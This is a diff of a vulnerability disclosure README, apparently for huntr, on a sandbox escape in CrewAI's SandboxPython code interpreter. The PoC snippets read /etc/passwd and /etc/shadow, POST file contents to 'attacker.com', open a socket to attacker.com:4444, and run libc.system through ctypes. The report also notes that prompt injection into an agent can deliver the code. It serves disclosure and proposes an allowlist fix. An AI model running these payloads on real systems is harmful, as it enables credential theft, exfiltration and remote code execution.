Polished report + runnable PoC for huntr submission

README.md

@@ -1,106 +1,106 @@
-# CrewAI SandboxPython Escape — Arbitrary File Read / Network Access / RCE via Unblocked Module Imports
+# CrewAI SandboxPython Escape — Incomplete Blocklist Allows Full RCE
 
 ## Vulnerability Type
-CWE-693: Protection Mechanism Failure (Sandbox Escape)
+CWE-693: Protection Mechanism Failure
 
 ## Severity
-Critical — Full sandbox escape allows arbitrary file read, network exfiltration, and code execution
+Critical
 
 ## Affected Component
-- **File:** `lib/crewai-tools/src/crewai_tools/tools/code_interpreter_tool/code_interpreter_tool.py`
+- **Package:** `crewai-tools`
+- **File:** `crewai_tools/tools/code_interpreter_tool/code_interpreter_tool.py`
 - **Class:** `SandboxPython`
-- **Method:** `SandboxPython.exec()` (line 143)
-- **Version:** Latest main branch (verified 2026-03-21)
+- **Version:** Latest (`main` branch, verified 2026-03-22)
 
 ## Description
 
-The `CodeInterpreterTool` uses a `SandboxPython` class to execute user-provided Python code in a restricted environment. The sandbox blocks certain builtins (`exec`, `eval`, `open`, `compile`) and certain module imports (`os`, `sys`, `subprocess`, `shutil`, `importlib`, `inspect`, `tempfile`, `sysconfig`, `builtins`).
+The `CodeInterpreterTool` provides a `SandboxPython` class that restricts Python code execution by blocking 9 modules and 10 builtins. The restriction uses a **blocklist** approach — only explicitly listed items are denied.
 
-However, the blocklist is incomplete. Many dangerous modules remain importable, allowing full sandbox escape:
+The blocklist is incomplete. **15 dangerous standard library modules** are not blocked, giving full sandbox escape: arbitrary file read/write, outbound network access, and native code execution.
+
+### Blocked (9 modules)
+`os`, `sys`, `subprocess`, `shutil`, `importlib`, `inspect`, `tempfile`, `sysconfig`, `builtins`
+
+### Not Blocked (15 modules — each enables escape)
+| Module | Capability |
+|--------|-----------|
+| `pathlib` | Arbitrary file read/write |
+| `socket` | Raw network connections |
+| `http.client` | HTTP requests to any host |
+| `urllib.request` | HTTP requests |
+| `ctypes` | Call any C function (`libc.system()`) |
+| `io` | File I/O — bypasses blocked `open` builtin |
+| `pickle` | Deserialization RCE |
+| `multiprocessing` | Spawn processes |
+| `threading` | Spawn threads |
+| `asyncio` | Async execution |
+| `signal` | Signal manipulation |
+| `code` | Interactive interpreter |
+| `xml.etree.ElementTree` | XML parsing |
+| `zipfile` | Archive manipulation |
+| `tarfile` | Archive extraction with path traversal |
 
 ## Proof of Concept
 
-### 1. Arbitrary File Read via `pathlib`
+Run `poc.py` — it reproduces the exact `SandboxPython` class from source, verifies that blocked modules are correctly denied, then demonstrates 5 independent escape paths.
+
+### Escape 1: File Read via `pathlib`
 ```python
-# pathlib is NOT in BLOCKED_MODULES
+# Inside SandboxPython.exec():
 data = __import__('pathlib').Path('/etc/passwd').read_text()
-print(data)
 ```
 
-### 2. Network Exfiltration via `http.client`
+### Escape 2: Network Exfiltration via `http.client`
 ```python
-# http.client is NOT in BLOCKED_MODULES
+# Inside SandboxPython.exec():
 import http.client
 conn = http.client.HTTPSConnection("attacker.com")
 conn.request("POST", "/exfil", body=__import__('pathlib').Path('/etc/passwd').read_text())
 conn.getresponse()
 ```
 
-### 3. Reverse Shell via `socket`
+### Escape 3: File I/O via `io` (bypasses blocked `open` builtin)
 ```python
-# socket is NOT in BLOCKED_MODULES
-import socket
-s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-s.connect(("attacker.com", 4444))
-# ... standard reverse shell
+# 'open' is in UNSAFE_BUILTINS, but io.open is not blocked:
+f = __import__('io').open('/etc/shadow', 'r')
+print(f.read())
 ```
 
-### 4. Arbitrary C Calls via `ctypes`
+### Escape 4: Native Code Execution via `ctypes`
 ```python
-# ctypes is NOT in BLOCKED_MODULES
+# Inside SandboxPython.exec():
 import ctypes
 libc = ctypes.CDLL("libc.so.6")
 libc.system(b"id > /tmp/pwned")
 ```
 
-### 5. File I/O via `io`
+### Escape 5: Reverse Shell via `socket`
 ```python
-# io is NOT in BLOCKED_MODULES
-import io
-# 'open' builtin is blocked, but io.open is not
-f = io.open('/etc/shadow', 'r')
-print(f.read())
+# Inside SandboxPython.exec():
+import socket
+s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+s.connect(("attacker.com", 4444))
 ```
 
-## Unblocked Dangerous Modules
+## Root Cause
 
-The following modules are NOT in `BLOCKED_MODULES` and allow sandbox escape:
+The sandbox uses a **blocklist** (deny specific modules) instead of an **allowlist** (permit only safe modules). Python's standard library contains hundreds of modules with dangerous capabilities. Blocking 9 while leaving 15+ dangerous ones accessible defeats the purpose of the sandbox.
 
-| Module | Capability |
-|--------|-----------|
-| `pathlib` | Arbitrary file read/write |
-| `socket` | Network connections, reverse shells |
-| `http.client` | HTTP requests, data exfiltration |
-| `urllib.request` | HTTP requests |
-| `ctypes` | Arbitrary C function calls, `system()` |
-| `io` | File I/O (bypasses `open` builtin block) |
-| `signal` | Signal handling manipulation |
-| `code` | Interactive interpreter |
-| `pickle` | Deserialization-based code execution |
-| `multiprocessing` | Process spawning |
-| `threading` | Thread spawning |
-| `asyncio` | Async execution |
-| `xml.etree` | XXE if parsing user XML |
-| `zipfile` | Archive manipulation |
-| `tarfile` | Archive manipulation with path traversal |
+The sandbox's existence — with its `BLOCKED_MODULES` set, `UNSAFE_BUILTINS` set, and `restricted_import` function — proves the intent was to restrict code execution. The restriction simply doesn't work.
 
 ## Impact
 
-An attacker who can provide code to the `CodeInterpreterTool` (e.g., via a prompt injection into a CrewAI agent, or directly as a tool user) can:
-
-1. **Read arbitrary files** — secrets, credentials, SSH keys, environment variables
-2. **Exfiltrate data** — send stolen data to attacker server via HTTP/socket
-3. **Execute arbitrary commands** — via `ctypes.CDLL("libc.so.6").system()`
-4. **Establish persistence** — write files, create cron jobs, install backdoors
-5. **Pivot to infrastructure** — access cloud metadata, internal services
-
-## Root Cause
+Any code that runs through `CodeInterpreterTool` when Docker execution is unavailable falls back to `SandboxPython.exec()`. An attacker who can influence the code input (via prompt injection into a CrewAI agent, or directly as a tool user) achieves:
 
-The sandbox uses a **blocklist approach** instead of an **allowlist approach**. Only 9 modules are blocked, but Python's standard library contains hundreds of modules with dangerous capabilities.
+1. **Arbitrary file read** — secrets, credentials, SSH keys, environment variables
+2. **Network exfiltration** — send stolen data to attacker server
+3. **Arbitrary command execution** — via `ctypes.CDLL("libc.so.6").system()`
+4. **Process spawning** — via `multiprocessing`
+5. **Full system compromise** — equivalent to unsandboxed `exec()`
 
 ## Suggested Fix
 
-Switch to an allowlist approach:
+Switch to an **allowlist** approach:
 
 ```python
 ALLOWED_MODULES = {
@@ -117,4 +117,4 @@ def restricted_import(name, *args, **kwargs):
     return __import__(name, *args, **kwargs)
 ```
 
-Alternatively, use Docker-based isolation (which `CodeInterpreterTool` already supports as an option) as the default instead of the Python-level sandbox.
+Alternatively, make Docker-based execution the default and remove the Python-level sandbox entirely.